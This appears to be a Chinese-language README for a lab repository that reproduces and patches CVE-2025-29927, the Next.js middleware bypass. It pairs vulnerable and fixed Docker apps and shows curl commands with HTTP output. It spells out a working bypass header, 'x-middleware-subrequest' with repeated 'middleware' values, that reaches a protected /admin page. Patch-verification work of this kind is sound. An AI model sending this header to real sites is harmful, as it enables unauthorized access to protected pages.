CVE-2025-29927 漏洞的复现与修复。
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
在 vulnerable/ 目录下存在一个易受攻击的应用程序版本。在 fixed/ 目录下存在一个已升级至修复该漏洞的最低版本的应用程序。
⚠️ 重要:这些示例仅供防御者、研究人员及验证补丁的团队使用。请不要在公共网络或生产环境中运行这些镜像。仅在你拥有的系统上或获得明确书面许可的情况下进行测试。
CVE-2025-29927 漏洞的复现。
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
运行以下命令,应被重定向至登录页面
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
然后运行以下命令,应能够访问 admin 页面
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
CVE-2025-29927 漏洞的修复。
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
运行以下命令,应被重定向至登录页面
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
然后运行以下命令,现在也应被重定向至登录页面
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
本仓库基于 l1uk/nextjs-middleware-exploit,但已适配 Next.js 15.x 版本。